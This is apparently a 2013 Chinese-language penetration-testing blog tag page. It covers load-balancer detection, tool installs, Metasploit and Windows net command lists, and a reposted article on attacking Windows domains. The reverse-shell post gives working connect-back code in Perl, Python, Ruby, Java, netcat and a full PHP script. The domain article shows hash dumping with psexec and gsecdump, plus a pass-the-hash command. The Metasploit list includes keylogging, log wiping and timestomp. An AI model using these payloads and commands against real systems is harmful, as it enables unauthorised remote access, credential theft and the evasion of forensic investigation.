顯示具有 入侵技術 標籤的文章。 顯示所有文章
顯示具有 入侵技術 標籤的文章。 顯示所有文章

2013年5月23日 星期四

How to detect LOAD BALANCE System? (如何偵測網站是屬於Load Balance架構?)

如何偵測網站是屬於Load Balance架構?

一般來說,大型網站大多設計有"Load Balance"架構,藉以應付\大量的網路存取並可分擔網路流量,但是對"滲透測試"來講,就必須先搞清楚,免得做了一堆無用測試。

下面介紹幾種偵測方法:

1.  Dig 指令:

     $ dig www.google.com

; <<>> DiG 9.8.1-P1 <<>> www.google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18625
;; flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 0
\
;; QUESTION SECTION:
;www.google.com. IN A

;; ANSWER SECTION:
www.google.com. 5 IN A 173.194.72.147
www.google.com. 5 IN A 173.194.72.99
www.google.com. 5 IN A 173.194.72.103
www.google.com. 5 IN A 173.194.72.104
www.google.com. 5 IN A 173.194.72.105
www.google.com. 5 IN A 173.194.72.106

;; Query time: 19 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Thu May 23 13:50:49 2013
;; MSG SIZE  rcvd: 128

2. halberd


$ halberd -v www.yyy.yyy.cn
halberd 0.2.4 (14-Aug-2010)

INFO looking up host www.yyy.yyy.cn...
INFO host lookup done.
211.88.yyy.151    [##########]  clues:  30 | replies: 286 | missed:   0

======================================================================
http://www.yyy.yyy.cn (211.88.yyy.151): 2 real server(s)
======================================================================

server 1: Apache/1.3.29 (Unix) PHP/4.3.6
----------------------------------------------------------------------

difference: 1369288820 seconds
successful requests: 118 hits (41.26%)
header fingerprint: 2d400052972048f733d653df965c209396fa5901
different headers:
  1. X-Cache-Debug: TCP_MISS/NIP-CNVR/-

server 2: Apache/1.3.29 (Unix) PHP/4.3.6
----------------------------------------------------------------------

difference: 1369288820 seconds
successful requests: 168 hits (58.74%)
header fingerprint: 29cfb7ec75f8372af0ade98cdb9959a191248940
different headers:
  1. X-Cache-Debug: TCP_CNC_MISS/CNC-NIP-CNVR/-



$ halberd -v www.xxx.xxx.cn
halberd 0.2.4 (14-Aug-2010)

INFO looking up host www.xxx.xxx.cn...
INFO host lookup done.
INFO www.xxx.xxx.cn resolves to 58.68.xxx.250
INFO www.xxx.xxx.cn resolves to 65.255.xxx.2
58.68.168.250    [##########]  clues:  15 | replies: 160 | missed:   0

======================================================================
http://www.xxx.xxx.cn (58.68.xxx.250): 2 real server(s)
======================================================================

server 1: IBM_HTTP_Server/6.0.1 Apache/2.0.47 (Unix) mod_jk/1.2.26
----------------------------------------------------------------------

difference: 28800 seconds
successful requests: 156 hits (97.50%)
header fingerprint: c4d1afcc03570ffdaea39a17c7da23282b4c8b89
different headers:
  1. Date: Thu, 23 May 2013 06:10:09 GMT
  2. Powered-By-ChinaCache: HIT from 0600224355
  3. Expires: Thu, 23 May 2013 06:11:09 GMT
  4. Powered-By-ChinaCache: HIT from 26071413iA

server 2: IBM_HTTP_Server/6.0.1 Apache/2.0.47 (Unix) mod_jk/1.2.26
----------------------------------------------------------------------

difference: 30943 seconds
successful requests: 4 hits (2.50%)
header fingerprint: 576c78d99c688843ec355def953046e59556e2c5
different headers:
  1. Date: Thu, 23 May 2013 05:34:26 GMT
  2. Powered-By-ChinaCache: MISS from 0603517354
  3. Powered-By-ChinaCache: HIT from 26071413iA
65.255.44.2      [##########]  clues:  14 | replies: 112 | missed:   0

======================================================================
http://www.xxx.xxx.cn (65.255.xxx.2): 2 real server(s)
======================================================================

server 1: IBM_HTTP_Server/6.0.1 Apache/2.0.47 (Unix) mod_jk/1.2.26
----------------------------------------------------------------------

difference: 28815 seconds
successful requests: 4 hits (3.57%)
header fingerprint: 7f2729977dc32a8b0d81570e226a315103ca17c8
different headers:
  1. Server: IBM_HTTP_Server/6.0.1 Apache/2.0.47 (Unix) mod_jk/1.2.26
  2. Date: Thu, 23 May 2013 06:10:09 GMT
  3. Content-Type: text/html
  4. Expires: Thu, 23 May 2013 06:11:09 GMT
  5. Last-Modified: Mon, 31 Dec 2012 16:52:48 GMT
  6. ETag: "9c240d2-f3-d7ce7800"
  7. Powered-By-ChinaCache: HIT from 0603517354
  8. Powered-By-ChinaCache: HIT from 26030513b1

server 2: IBM_HTTP_Server/6.0.1 Apache/2.0.47 (Unix) mod_jk/1.2.26
----------------------------------------------------------------------

difference: 28816 seconds
successful requests: 108 hits (96.43%)
header fingerprint: b8232b9e68039605b79a69c51e1bd32c464e523f
different headers:
  1. Last-Modified: Mon, 31 Dec 2012 16:52:48 GMT
  2. Content-Type: text/html
  3. Date: Thu, 23 May 2013 06:10:09 GMT
  4. Server: IBM_HTTP_Server/6.0.1 Apache/2.0.47 (Unix) mod_jk/1.2.26
  5. ETag: "9c240d2-f3-d7ce7800"
  6. Powered-By-ChinaCache: HIT from 060531B35y
  7. Expires: Thu, 23 May 2013 06:11:09 GMT
  8. Powered-By-ChinaCache: HIT from 26030513b1



上述兩種就可以看出,www.gooogle.com 運用多個不同IP位置來提供網路分流,另外www.yyy.yyy.cn 雖然只有一個對外IP,但實際上有兩部Web Server在提供服務,
www.xxx.xxx.cn 有2組不同的IP。






2013年4月22日 星期一

Maltego 資訊蒐集工具


系統滲透測試的首要步驟就是資訊蒐集,而資訊蒐集除了使用Google以外,Maltego是另一個非常好用的工具
它可以用來蒐集Email,Twitter,Facebook,電話號碼,甚至主機系統的網路拓樸等等

Maltego可以在這裡下載,請注意Commercial(商業版)是需要收費的,只有Cummunity Editions版(以下簡稱CE)版本才是對用戶免費的版本。
安裝中必須在該官網申請一個使用帳號,隨後確認郵件,輸入相關資料後就完成註冊。

下面就一步步的教各位如何安裝吧!

1.先連上官網的下載頁面

2.點選MALTEGO的圖片

 2.點選Community(free)的圖片

 3.選擇你需要的平台安裝程式 (Windows,Mac,Linux)





我選的是Linux Deb的版本

接下來安裝在BackBox上試試吧













哈! 完成收工!



Install BackBox 3.0 on VMware Fusion

BackBox 也是一個資安滲透測試平台,它採用ubuntu 的作業系統為操作底層(這跟Backtrack一樣),不過裡面安裝的工具較Backtrack 少,但版本較新,且比較實用,個人經驗:在Backtrack裡面確實提供了不少工具,但是說實話,有多少人全都會用??而且整個安裝起來至少約需12GB以上,攜帶性也不佳,而且近期Backtrack5rc3的版本,只要執行apt-get upgrade 以後,問題一大堆,還要一個個自己修復....暈倒..

而BackBox在操作與使用上確實較Backtrack 簡單多了,所以,建議初學者可以先從此入門,在進階到Backtrack,這樣會是一條最佳的學習路徑。

以下就介紹要如何安裝使用它吧!

1.取得Backbox 最新版本
Backbox 官網


ISO-Torrent


2.使用VMware安裝
下面截了幾張安裝步驟:







建議硬碟空間要預先分配大一點,方便未來安裝各種工具




3.開始安裝BackBox囉!




請點選Install BackBox 進行安裝



   在這裡,你可以預先勾選在安裝過程中,一併進行更新







就這簡單的幾個步驟,就完成安裝了(其實跟安裝ubuntu及Backtrack的過程幾乎相同)

安裝完重新啟動,就可以登入系統



第一次登入,必須先裝VM-Tools工具




將VMwareTools-9.2.2-893683.tar.gz 複製到user的家目錄



將檔案解壓縮:tar zxvf VMwareTools-9.2.2-893683.tat.gz



接下來進入Vmtools 的安裝目錄, 並使用super user的權限執行安裝
cd vmware-tools-distrib
sudo ./vmware-install.pl 



待安裝vmtools後,請重新開機,並再將系統所有套件更新到最新版本.






整個系統與套件都更新後看看用了多少硬碟空間吧

儘有約5.6GB,確實比Backtrack5rc3(12GB)瘦身了不少!!

再來看看安裝後的一些工具版本吧!

Metasploit v4.7.0-dev(比Backtrac5rc3裡面的還要新)



開發工具版本也都蠻新的,不錯!










2013年3月28日 星期四

metasploit(MSF)终端命令大全


metasploit(MSF)终端命令大全 (來源:網路轉載)


show exploits
列出metasploit框架中的所有渗透攻击模块。
show payloads
列出metasploit框架中的所有攻击载荷。
show auxiliary
列出metasploit框架中的所有辅助攻击载荷。
search name
查找metasploit框架中所有的渗透攻击和其他模块。
info
展示出制定渗透攻击或模块的相关信息。
use name
装载一个渗透攻击或模块。
LHOST
你本地可以让目标主机连接的IP地址,通常当目标主机不在同一个局域网内时,就需要是一个公共IP地址,特别为反弹式shell使用。
RHOST
远程主机或是目标主机。
set function
设置特定的配置参数(EG:设置本地或远程主机参数)。
setg function
以全局方式设置特定的配置参数(EG:设置本地或远程主机参数)。
show options
列出某个渗透攻击或模块中所有的配置参数。
show targets
列出渗透攻击所有支持的目标平台。
set target num
指定你所知道的目标的操作系统以及补丁版本类型。
set payload name
指定想要使用的攻击载荷。
show advanced
列出所有高级配置选项。
set autorunscript migrate -f.
在渗透攻击完成后,将自动迁移到另一个进程。
check
检测目标是否选定渗透攻击存在相应的安全漏洞。
exploit
执行渗透攻击或模块来攻击目标。
exploit -j
在计划任务下进行渗透攻击(攻击将在后台进行)。
exploit -z
渗透攻击完成后不与回话进行交互。
exploit -e encoder
制定使用的攻击载荷编码方式(EG:exploit -e shikata_ga_nai)。
exploit -h
列出exploit命令的帮助信息。
sessions -l
列出可用的交互会话(在处理多个shell时使用)。
sessions -l -v
列出所有可用的交互会话以及详细信息,EG:攻击系统时使用了哪个安全漏洞。
sessions -s script
在所有活跃的metasploit会话中运行一个特定的metasploit脚本。
sessions -K
杀死所有活跃的交互会话。
sessions -c cmd
在所有活跃的metasploit会话上执行一个命令。
sessions -u sessionID
升级一个普通的win32 shell到metasploit shell。
db_create name
创建一个数据库驱动攻击所要使用的数据库(EG:db_create autopwn)。
db_connect name
创建并连接一个数据库驱动攻击所要使用的数据库(EG:db_connect user:passwd@ip/sqlname)。
db_namp
利用nmap并把扫描数据存储到数据库中(支持普通的nmap语句,EG:-sT -v -P0)。
db_autopwn -h
展示出db_autopwn命令的帮助信息。
db_autopwn -p -r -e
对所有发现的开放端口执行db_autopwn,攻击所有系统,并使用一个反弹式shell。
db_destroy
删除当前数据库。
db_destroy user:passwd@host:port/database
使用高级选项来删除数据库。
***metasploit命令***
help
打开meterpreter使用帮助。
run scriptname
运行meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名。
sysinfo
列出受控主机的系统信息。
ls
列出目标主机的文件和文件夹信息。
use priv
加载特权提升扩展模块,来扩展metasploit库。
ps
显示所有运行的进程以及相关联的用户账户。
migrate PID
迁移到一个指定的进程ID(PID号可通过ps命令从主机上获得)。
use incognito
加载incognito功能(用来盗窃目标主机的令牌或假冒用户)
list_tokens -u
列出目标主机用户的可用令牌。
list_tokens -g
列出目标主机用户组的可用令牌。
impersonate_token DOMAIN_NAME\USERNAME
假冒目标主机上的可用令牌。
steal_token PID
盗窃给定进程的可用令牌并进行令牌假冒。
drop_token
停止假冒当前令牌。
getsystem
通过各种攻击向量来提升系统用户权限。
execute -f cmd.exe -i
执行cmd.exe命令并进行交互。
execute -f cmd.exe -i -t
以所有可用令牌来执行cmd命令并隐藏该进程。
rev2self
回到控制目标主机的初始用户账户下。
reg command
在目标主机注册表中进行交互,创建,删除,查询等操作。
setdesktop number
切换到另一个用户界面(该功能基于那些用户已登录)。
screenshot
对目标主机的屏幕进行截图。
upload file
向目标主机上传文件。
download file
从目标主机下载文件。
keyscan_start
针对远程目标主机开启键盘记录功能。
keyscan_dump
存储目标主机上捕获的键盘记录。
keyscan_stop
停止针对目标主机的键盘记录。
getprivs
尽可能多的获取目标主机上的特权。
uictl enable keyboard/mouse
接管目标主机的键盘和鼠标。
background
将你当前的metasploit shell转为后台执行。
hashdump
导出目标主机中的口令哈希值。
use sniffer
加载嗅探模式。
sniffer_interfaces
列出目标主机所有开放的网络端口。
sniffer_dump interfaceID pcapname
在目标主机上启动嗅探。
sniffer_start interfaceID packet-buffer
在目标主机上针对特定范围的数据包缓冲区启动嗅探。
sniffer_stats interfaceID
获取正在实施嗅探网络接口的统计数据。
sniffer_stop interfaceID
停止嗅探。
add_user username password -h ip
在远程目标主机上添加一个用户。
clearev
清楚目标主机上的日志记录。
timestomp
修改文件属性,例如修改文件的创建时间(反取证调查)。
reboot
重启目标主机。
***MSFpayload命令***
msfpayload -h
msfpayload的帮助信息。
msfpayload windows/meterpreter/bind_tcp O
列出所有windows/meterpreter/bind_tcp下可用的攻击载荷的配置项(任何攻击载荷都是可用配置的)。
msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT X > payload.exe
创建一个metasploit的reverse_tcp攻击载荷,回连到LHOSTip的LPORT,将其保存为名为payload.exe的windows下可执行程序。
msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT R > payload.raw
创建一个metasploit的reverse_tcp攻击载荷,回连到LHOSTip的LPORT,将其保存为名为payload.raw,该文件后面的msffencode中使用。
msfpayload windows/meterpreter/reverse_tcp LPORT=PORT C > payload.c
创建一个metasploit的reverse_tcp攻击载荷,导出C格式的shellcode。
msfpayload windows/meterpreter/reverse_tcp LPORT=PORT J > payload.java
创建一个metasploit的reverse_tcp攻击载荷,导出成以%u编码方式的javaScript语言字符串。
***msfencode命令***
mefencode -h
列出msfencode的帮助命令。
msfencode -l
列出所有可用的编码器。
msfencode -t (c,elf,exe,java,is_le,js_be,perl,raw,ruby,vba,vbs,loop_vbs,asp,war,macho)
显示编码缓冲区的格式。
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe
使用shikata_ga_nai编码器对payload.raw文件进行5编码,然后导出一个名为encoded_payload.exe的文件。
msfpayload windows/meterpreter/bind_tcp LPORT=PORT R | msfencode -e x86/_countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe
创建一个经过多种编码格式嵌套编码的攻击载荷。
msfencode -i payload.raw BufferRegister=ESI -e x86/alpja_mixed -t c
创建一个纯字母数字的shellcode,由ESI寄存器只想shellcode,以C语言格式输出。
***MSFcli命令***
msfcli | grep exploit
仅列出渗透攻击模块。
msfcli | grep exploit/windows
仅列出与windows相关的渗透攻击模块。
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=PORT RHOST=IP E
对IP发起ms08_067_netapi渗透攻击,配置了bind_tcp攻击载荷,并绑定在PORT端口进行监听。

2013年3月8日 星期五

WINDOWS命令提示字元下常用DOS命令


net user 帳戶名 密碼 /add 建立帳戶。
net user guest /active:yes 啟用guest帳戶。
net user 查看電腦內有哪些帳戶。
net user 帳戶名,查看帳戶的屬性。

net localgroup administrators 帳戶名 /add 把「帳戶」添加到管理員中使其具有管理員權限。

net start 查看電腦啟用了哪些服務。
net start 服務名稱,開啟服務。
net stop 服務名稱~停止某服務。

net time \\目標ip 查看對方時間。
net time \\目標ip /set 設置本地電腦時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息。


net view 查看本地區域網路內開啟了哪些電腦共享。
net view \\主機名稱或ip 查看對方區域網路內開啟了哪些共享。

net config 顯示系統網路設置。
net pause 服務名,暫停某服務 。

net share 查看本地開啟的共享。
net share ipc$ 開啟ipc$共享。
net share ipc$ /del 刪除ipc$共享。
net share c$ /del 刪除C:共享。

net user guest 123456 用guest帳戶登陸後將密碼改為123456。
net password 密碼~更改系統登錄密碼。

net use //主機名稱或ip/ipc$ " " /user:" " 建立IPC空連結
net use //主機名稱或ip/ipc$ "密碼" /user:"用戶名" 建立IPC非空連結
net use h: //主機名稱或ip/ipc$ "密碼" /user:"網域名稱/用戶名" 直接登陸後映射對方C:到本地為H:
net use h: ipc$ 登陸後映射對方C:到本地為H:
net use //主機名稱或ip/ipc$ /del 刪除IPC連結
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立使用者
net user guest /active:yes 啟動guest用戶

net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用複數
net start 查看開啟了哪些服務
net start 服務名  開啟服務;(如:net start telnet, net start schedule)
net stop 服務名 停止某服務

net time 目標ip 查看對方時間
net time 目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認資訊

net view 查看本地局域網內開啟了哪些共用
net view ip 查看對方局域網內開啟了哪些共用

net config 顯示系統網路設置

net logoff 斷開連接的共用

net pause 服務名 暫停某服務

net send ip "文本資訊" 向對方發資訊

net ver 局域網內正在使用的網路連接類型和資訊

net share 查看本地開啟的共用
net share ipc$ 開啟ipc$共用
net share ipc$ /del


netstat -a 查看開啟了哪些PORT,常用netstat -an。 netstat -n 查看PORT的網路連接情況。
netstat -v 查看正在進行的工作。
netstat -s 查看正在使用的所有協議使用情況。
nbtstat -A ip 對方136到139其中一個PORT有開的話,就可查看對方最
近登陸的帳戶名、網卡位址(03前的為帳戶名)-注意:參數-A要大寫。

ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配備訊息。



電腦開始→執行,有用的運行命令
winver---------檢查Windows版本
wupdmgr--------windows更新程序
wscript--------windows Sript設定
winchat--------XP自帶區域網路聊天
Msconfig---系統配置實用程序
mplayer2-------簡易widnows media player
mspaint--------小畫家
magnify--------放大鏡實用程序
mobsync--------網頁同步命令
dxdiag---------檢查DirectX訊息
devmgmt.msc----裝置管理員
dfrg.msc-------磁碟重組
diskmgmt.msc---磁碟管理
tsshutdn-------60秒倒計時關機命令
tourstart------xp簡介(安裝完成後出現的漫遊xp程序)
taskmgr--------工作管理員---同按CTRL+ALT+DEL
eventvwr-------事件檢視器
eudcedit-------造字程式
calc-----------啟動小算盤
charmap--------啟動字元對應表
cliconfg-------SQL SERVER 用戶端公用程式
conf-----------啟動netmeeting
net stop messenger-----停用messenger服務
net start messenger----啟用messenger服務
notepad--------打開記事本
nslookup-------網路管理的工具嚮導DNS
ntbackup-------系統備份和還原
narrator-------螢幕內容朗誦
syncapp--------創建一個公事包
sysedit--------系統設定編輯器
sigverif-------檔案簽章驗證
sndrec32-------錄音機
shrpubw--------建立共用文件夾
secpol.msc-----本機安全性設定
syskey---------系統加密,一旦加密就不能解開,保護windows xp系統的雙重密碼
services.msc---本機服務設置
Sndvol32-------音量控制
compmgmt.msc---電腦管理
cleanmgr-------清理磁碟機
osk------------打開營幕協助鍵盤
odbcad32-------ODBC資料來源管理員
oobe/msoobe /a----檢查XP是否已啟用
lusrmgr.msc----本機使用者和群組
gpedit.msc-----群組原則
fsmgmt.msc-----共用資料夾管理



del -F 文件名,加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有只讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件。
del /S /Q 目錄,/S刪除目錄及目錄下的所有子目錄和文件。使用參數/Q 可取消刪除操作時的系統確認就直接刪除。
fc c:\one.txt c:\two.txt > c:\three.txt 對比二個文件並把不同之處輸出到three.txt文件中。
at \\ip time 程式名稱(或一個命令) /r 在某時間運行對方某程式,並重新啟動電腦。
finger username @host 查看最近有哪些帳戶登陸。
cppy test.jpg/b+test2.txt/a test3.jpg 將test2.txt的內容藏身到test.jpg中生成test3.jpg新的文件。
註:test2.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件。
chkdsk /F D: 檢查磁盤D並顯示狀態報告;加參數/f並修復磁盤上的錯誤。
chkntfs /x 磁碟機代號︰~關閉開機時的硬碟自動掃瞄。
chkntfs /d 還原到預設值,恢復自動掃瞄的功能。

2013年3月5日 星期二

土耳其Hacker的教學影片


土耳其Hacker的教學影片,Po出來分享!

http://www.mavi1.org/videolar/joomla.htm
http://www.mavi1.org/videolar/root.htm
http://www.mavi1.org/videolar/2-6-15.htm
http://www.mavi1.org/videolar/2-6-7.htm
http://www.mavi1.org/videolar/2-6-9.htm
http://www.mavi1.org/videolar/aa.htm
http://www.mavi1.org/videolar/arpl.htm
http://www.mavi1.org/videolar/bbbb.htm
http://www.mavi1.org/videolar/brk2.htm
http://www.mavi1.org/videolar/cc.htm
http://www.mavi1.org/videolar/configuration.htm
http://www.mavi1.org/videolar/exp.htm
http://www.mavi1.org/videolar/kbd.htm
http://www.mavi1.org/videolar/kbd_vandal.htm
http://www.mavi1.org/videolar/nuke.htm
http://www.mavi1.org/videolar/passcracks.htm
http://www.mavi1.org/videolar/putty.htm

Reverse Shell (Bash,Perl,Python,php,Ruby,Java)

有時被控端機器上沒有『NC』可用時,運用script language,同樣可達成將bash反連回主控端的目的

Step1: 先在控制端用NC Listen 一個 Port



接著在被控端執行該Shell connect back 程式


此時在控制端就可以看到從被控端送過來的Bash shell 了



程式原始碼(Perl):

#!/usr/bin/perl -w   
   
use strict;    
use Socket;    
use IO::Handle;    
   
if($#ARGV+1 != 2){    
print "$#ARGV $0 Remote_IP Remote_Port \n";    
exit 1;    
}    
   
my $remote_ip = $ARGV[0];    
my $remote_port = $ARGV[1];    
   
my $proto = getprotobyname("tcp");    
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));    
   
my $shell = '/bin/bash -i';    
   
socket(SOCK, AF_INET, SOCK_STREAM, $proto);    
   
STDOUT->autoflush(1);    
SOCK->autoflush(1);    
   
connect(SOCK,$pack_addr) or die "can not connect:$!";    
   
open STDIN, "<&SOCK";    
open STDOUT, ">&SOCK";    
open STDERR, ">&SOCK";    
   
print "Enjoy the shell.\n";    
   
system($shell);    
close SOCK;    
   
exit 0;

程式原始碼2(Perl):
perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


程式原始碼3(Python):
This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


程式原始碼4(PHP):



<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {

// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0);
}

if (posix_setsid() == -1) {

printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;

} else {
printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}


chdir("/");


umask(0);


$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

$descriptorspec = array(

   0 => array("pipe", "r"), 
   1 => array("pipe", "w"),   
   2 => array("pipe", "w") 
  );

$process = proc_open($shell, $descriptorspec, $pipes);


if (!is_resource($process)) {

printit("ERROR: Can't spawn shell");
exit(1);
}

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");


while (1) {

if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}


if (feof($pipes[1])) {

printit("ERROR: Shell process terminated");
break;
}

$read_a = array($sock, $pipes[1], $pipes[2]);

$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

if (in_array($sock, $read_a)) {

if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}


if (in_array($pipes[1], $read_a)) {

if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

if (in_array($pipes[2], $read_a)) {

if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);

fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {

if (!$daemon) {
print "$string\n";
}
}

?>






程式原始碼5(Ruby):
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


程式原始碼6(Java):

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()




附註
NetCat:

nc -e /bin/sh 10.0.0.1 4444

If you have the wrong version of netcat installed, that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f

域内网渗透中的思路之一


作者:黑鹰小子
来源:www.bhst.org

上次发了个内网的专题讨论,大家不活跃,下面我就抛砖引玉,写了篇烂文,希望众牛人砸上来,别藏着掖着啦,不抛弃,不放弃!!

●关于域服务器的搭建及配置

这个问题不是今天我们的重点,我们的重点放在域渗透中的疑点和一些深入的用法上,当然简单的扫描的话,大家可以自己尝试,测试环境:
为了大家便于理解笔者构造的场景的拓扑:

域内网DC/DNS:192.168.168.128
域成员服务器:192.168.168.114
外网Web,不处于该域: 124.16.x.x
意思是笔者通过Web获取了跳板,然后想通过该跳板渗透该域。大部分情况下大家可能会比较容易获得成员服务器的administrator密码,或者通过提权得到了管理权限。
●辨别域控的方法
网上给出的办法:
常用命令 net view
查看同一域/工作组的计算机列表
net view /domain
查看域/工作组列表
net view /domain:Secwing
查看Secwing域中 计算机列表
net group /domain
查看所在域的组
net user /domain
查看所在域用户
net user /domain zerosoul 12345678
修改域用户密码,需要域管理员权限
net localgroup administrators SECWING\zerosoul /add
域Users组用户添加到本地Administrators组,需要本地管理员或域管理员在本机登陆域后进行
下面的命令 只能用于 域控制器:
net group "Domain controllers"
查看域控制器(如果有多台)
net group
查看域的组
net group "domain admins"
查看域管理员
net group "domain users"
查看域管理员
第二种办法:
SRV 记录是一个域名系统 (DNS) 资源记录,用于标识承载特定服务的计算机。SRV 资源记录用于定位 Active Directory 的域控制器。要验证域控制器的 SRV 定位器资源记录,请使用下列方法之一。
Nslookup
Nslookup 是一个命令行工具,它显示的信息可以用来诊断域名系统 (DNS) 的基础结构。
要使用 Nslookup 来验证 SRV 记录,请按照下列步骤操作:
1.在 DNS 上,单击“开始”,然后单击“运行”。
2.在“打开”框中,键入 cmd。
3.键入 nslookup,然后按 Enter。
4.键入 set type=srv,然后按 Enter。
5.键入 _ldap._tcp.dc._msdcs.Domain_Name,其中
Domain_Name
为域名,然后按 Enter。
Nslookup 将返回显示为以下格式的一个或多个 SRV 服务位置记录,其中,Server_Name
为域控制器的主机名,Domain_Name
为域控制器所属的域,Server_IP_Address
为域控制器的 Internet 协议 (IP) 地址:
Server:localhost
Address:
127.0.0.1
_ldap._tcp.dc._msdcs.Domain_Name
(输入如:_ldap._tcp.dc._msdcs.blackeagle.com)
SRV service location:
priority= 0
weight= 100
port= 389
srv hostname= Server_Name.Domain_NameServer_Name.Domain_N
⑴如何获得域成员服务器的权限,即可以访问域的共享权限?
①通过gsecdump.exe
gsecdump.exe能从域服务器密码存储文件windows\ntds\ntds.dit中导出所有域用户hash的工具,并能从活动进程中导出hash,如果占领的机器的管理破解出来的话,则就可以尝试用破获的用户名密码来截取域中成员机器的HASH值
psexec \\192.168.168.x -u administrator –p test123!@# -c gsecdump.exe -u




②利用HASH注入来获得域中普通机器的权限(该思路主要是解决域控HASH无法破解,或者感觉没有必要破解的情况)

大部分的DC不会是和域普通成员机器的密码一样的,除非管理的水平不敢恭维,可能很多人尝试直接通过HASH通过RainbowCrack或者ophcrack来破解,但是如果LM HASH值无效等情况,则此方法就告一段落了,别急,还有HASH注入。

msvctl.exe Administrator::624aac413795cdc187c394d748ef4541:111f54a2a4c0fb3d7cd9b19007809ad6::: run cmd.exe

注入成功后,就会发现弹出新的CMDSHELL(抓取出来HASH信息已经导入本地的lsass进程,那么后续过程,相信大家也都懂了,只不过这里虽然还是本地的cmdshell,但是的确可以对域控等做相关操作),这里需要说明的是如果是溢出的CMD下,不会成功。



详细的大家可以参考国外给出的文档,比我写的好多了




大家可以自己测试。

最后解疑:

1.HASH注入的时候获取的是什么用户的SESSION值,则注入就是什么权限!

2.HASH注入中如果要获取域用户的HASH,是在域成员机器上是管理权限并且在该机器上有域用户登录过或者正在登录中,方能提取出其HASH

3.获得域成员用户权限,即授权用户的权限的合适的情况下,可能导出域控HASH,当然也可以在实现共享的情况下绑马,本文只是为大家提供一种思路而已

●本地用户账户和域用户账户的特点和区别
在操作系统中,计算机的账户是用户登录系统的钥匙,当用户想要进入一台计算机的操作系统对计算机进行操作和管理的时候,必须有一个相应的账户才可以,在windows环境下的计算机账户从计算机的管理模式来分主要分为本地用户账户和域账户两种,这两种账户各有哪些特点和区别呢:

1.本地用户账户是在工作组环境上或是域的成员机登录本地机器所使用的账户名和密码,而域账户是在域的管理模式下域上的用户所使用的账户.

2.本地用户账户存储在本地的sam数据库中,而域账户存储在AD(active directory)中.

3.使用本地用户账户的时候,用户只能使用该账户登录到本地计算机上,而使用域账户用户可以在整个域环境中所有的计算机上进行登录.

4.本地账户只能在账户所属的计算机上进行管理,每个计算机上的管理员单独管理自己机器上的本地账户,而域账户通过AD用户和计算机管理工具进行统一的管理.
●域用户账户的管理
